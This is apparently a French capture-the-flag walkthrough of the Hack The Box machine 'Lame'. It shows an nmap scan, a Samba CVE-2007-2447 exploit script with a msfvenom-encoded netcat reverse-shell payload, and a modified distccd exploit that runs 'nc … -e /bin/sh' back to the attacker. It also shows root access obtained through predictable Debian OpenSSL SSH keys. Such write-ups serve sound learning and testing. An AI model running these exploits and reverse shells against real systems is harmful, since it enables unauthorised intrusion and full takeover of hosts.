Contexte

Il s’agit une nouvelle fois d’une box facile. On y trouve cette fois plusieurs points d’entrée et escalade de privilèges. Je vais décrire ici ceux que j’ai trouvés mais une liste plus complète des vulnérabilités de cette machine est disponible dans l’excellent writeup de 0xdf disponible ici.

Mon but est d’utiliser le moins possible le logiciel Metasploit en vue d’une meilleure compréhension des exploits que j’utilise. Il existe donc des moyens bien plus simples pour rooter cette box que ceux décrits ici.

Niveau : facile
IP : 10.10.10.3
OS : Linux
Points : 20
Sortie : 14 Mars 2017

Scanning

Premièrement, nmap :

nmap -p- -T4 -A -oA nmap/allTCPports 10.10.10.3

root@kali:~/Documents/boxes/lame# nmap -p- -T4 -A -oA nmap/allTCPports 10.10.10.3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-03 14:48 CET
Nmap scan report for 10.10.10.3
Host is up (0.030s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%), Linux 2.6.18 (ClarkConnect 4.3 Enterprise Edition) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h30m22s, deviation: 3h32m10s, median: 20s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-02-03T08:50:27-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   31.63 ms 10.10.14.1
2   31.96 ms 10.10.10.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 149.11 seconds

On repère un certain nombre de ports :

  • 21 : FTP
    • vsFTPd v 2.3.4
    • connexion anonyme acceptée
  • 22 : SSH
    • OpenSSH 4.7p1 Debian 8ubuntu1
  • 139/445 : Samba
    • smbd 3.0.20-Debian
  • 3632 : distccd

Exploitation

vsFTPd

La tentative de connexion anonyme au serveur FTP n’a rien donné. Aucun fichier n’est présent sur le serveur et il ne semble pas possible de remonter dans les répertoires. Cependant, cette version de vsFTPd contient une backdoor dans son code (CVE-2011-2523). En effet, en utilisant un nom d’utilisateur terminant par “:)” (sans les “) suivi d’un mot de passe quelconque, vsFTPd ouvre une backdoor sur le port 6200, donnant accès à un shell.

Après différentes tentatives d’exploitation, il semble que ce soit une fausse piste. La connexion au port 6200 ne se faisant pas, j’ai tenté de lancer un scan sur tous les ports (TCP uniquement) après m’être connecté avec un utilisateur correctement formé (longin:)), mais rien n’est visible.

Samba

Cette version de samba est vulnérable à une RCE (CVE-2007-2447). La faille est présente lorsque l’option “username map script” est activée dans le fichier smb.conf, permettant de lancer des commandes via le USERNAME lors de la connexion.

En analysant le code d’un exploit python trouvé sur ce github, on voit bien que l’injection du code se fait au niveau de la variable userID, qui est ensuite utilisée en tant qu’utilisateur pour la connexion SMB.

#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian

from smb import *
from smb.SMBConnection import *

#msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1337 -f python
buf =  ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6d"
buf += "\x68\x63\x6d\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += "\x2e\x31\x34\x2e\x35\x20\x31\x33\x33\x37\x20\x30\x3c"
buf += "\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d\x20\x7c\x20\x2f"
buf += "\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70\x2f"
buf += "\x6d\x68\x63\x6d\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d"
buf += "\x20\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d"

userID = "/=` nohup " + buf + "`"
password = 'password'
victim_ip = '10.10.10.3'

conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)

J’ai modifié le script pour y ajouter un reverse shell généré avec msfvenom en tant que payload et ai lancé l’exploit.

root@kali:~/Documents/boxes/lame# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.3] 46915
id
uid=0(root) gid=0(root)
hostname
lame

Voila pour ce rootage facile.

Distccd

Distccd est un logiciel de compilation distribué de code C et C++. Il permet d’utiliser les ressources de plusieurs machines du réseau pour accélérer la compilation de code. Il permet l’exécution à distance de commandes. Il ne s’agit pas là d’une faille à proprement parler puisque cela fait partie de ses fonctions.

Accès shell

Je l’ai utilisé pour me connecter à la box grâce à un script trouvé sur ce github, que j’ai modifié pour y inclure des arguments permettant d’obtenir directement un reverse shell.

-lh pour spécifier le host du reverse shell
-lp pour spécifier le port du reverse shell

Les parties commentées étaient présentes dans le script original (sans commentaires).

parser.add_argument('-t', action="store", dest="host", required=True, help="Target IP/HOST")
parser.add_argument('-p', action="store", type=int, dest="port", default=3632, help="DistCCd listening port")
#parser.add_argument('-c', action="store", dest="command", default="id", help="Command to run on target system")
parser.add_argument('-lh', action="store", dest="lhost", default="10.10.14.3", help="local host for reverse shell")
parser.add_argument('-lp', action="store", dest="lport", default="1337", help="local port for reverse shell")

try:
        argv = parser.parse_args()
        rshell = "nc "+argv.lhost+" "+argv.lport+" -e /bin/sh"
        print(rshell)
#       exploit(argv.command, argv.host, argv.port)
        exploit(rshell, argv.host, argv.port)

Le script me donne ainsi accès au serveur via l’utilisateur daemon.

root@kali:~/Documents/boxes/lame/assets# ../assets/exploitDISTCC.py -t 10.10.10.3 -p 3632 -lh 10.10.14.3 -lp 1337
nc 10.10.14.3 1337 -e /bin/sh
[OK] Connected to remote service
root@kali:~/Documents/boxes/lame/www# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.3] 41240
whoami
daemon
hostname
lame

J’améliore mon shell grâce aux précieux conseils des vidéos d'ippsec. Cela permet d’obtenir l’autocomplétion et un shell plus lisible.

python -c 'import pty;pty.spawn("/bin/bash")'
daemon@lame:/tmp$ ^Z
[1]+  Stoppé                 nc -lvnp 1337
root@kali:~/Documents/boxes/lame/www# stty raw -echo
nc -lvnp 1337ocuments/boxes/lame/www# 

daemon@lame:/tmp$ 

En énumérant le répertoire local de l’utilisateur Makis je trouve le premier flag, lisible par daemon.

Escalade de privilège

Le répertoire /root est également accessible, ainsi que son .ssh.

daemon@lame:/tmp$ ls -lah /root
total 80K
drwxr-xr-x 13 root root 4.0K Feb  3 11:07 .
drwxr-xr-x 21 root root 4.0K Oct 31 02:33 ..
-rw-------  1 root root  373 Feb  3 11:07 .Xauthority
lrwxrwxrwx  1 root root    9 May 14  2012 .bash_history -> /dev/null
-rw-r--r--  1 root root 2.2K Oct 20  2007 .bashrc
drwx------  3 root root 4.0K May 20  2012 .config
drwx------  2 root root 4.0K May 20  2012 .filezilla
drwxr-xr-x  5 root root 4.0K Feb  3 11:07 .fluxbox
drwx------  2 root root 4.0K May 20  2012 .gconf
drwx------  2 root root 4.0K May 20  2012 .gconfd
drwxr-xr-x  2 root root 4.0K May 20  2012 .gstreamer-0.10
drwx------  4 root root 4.0K May 20  2012 .mozilla
-rw-r--r--  1 root root  141 Oct 20  2007 .profile
drwx------  5 root root 4.0K May 20  2012 .purple
-rwx------  1 root root    4 May 20  2012 .rhosts
drwxr-xr-x  2 root root 4.0K May 20  2012 .ssh
drwx------  2 root root 4.0K Feb  3 11:07 .vnc
drwxr-xr-x  2 root root 4.0K May 20  2012 Desktop
-rwx------  1 root root  401 May 20  2012 reset_logs.sh
-rw-------  1 root root   33 Feb  3 11:07 root.txt
-rw-r--r--  1 root root  118 Feb  3 11:07 vnc.log

Je peux lister les clés publiques autorisées pour la connexion à ce serveur via l’utilisateur root.

daemon@lame:/tmp$ cat /root/.ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

Metasploitable est une machine virtuelle intentionnellement vulnérable à de nombreuses failles. En faisant des recherches sur les failles liées à Metasploitable et à la génération de paires de clés RSA, je suis tombé sur ce github.

Il y est expliqué que suite à une modification du code, toutes les paires de clés générées via OpenSSL entre Septembre 2006 et Mai 2008 soufrent d’une faille permettant de re-générer ses clées. En effet, La seule variable aléatoire lors de la génération était le PID du processus. Il est donc possible de générer les 32768 paires de clés différentes, correspondant au numéro le plus haut pouvant être attribué par défaut à un processus d’un système Linux.

Ces clés sont fournies sur le github.

J’ai donc cloné le repo, décompressé l’archive debian_ssh_rsa_2048_x86.tar.bz2 et exécuté un simple grep sur le contenu des clés publiques.

root@kali:~/Documents/boxes/lame/assets/debian-ssh/common_keys/rsa/2048# grep -l +kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMg *.pub
57c3115d77c56390332dc5c49978627a-5429.pub

Il suffit ensuite de se connecter avec la bonne clé privée.

root@kali:~/Documents/boxes/lame/assets/debian-ssh/common_keys/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3
Last login: Wed Feb  3 11:50:14 2021 from 10.10.14.3
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@lame:~# whoami
root
root@lame:~# hostname 
lame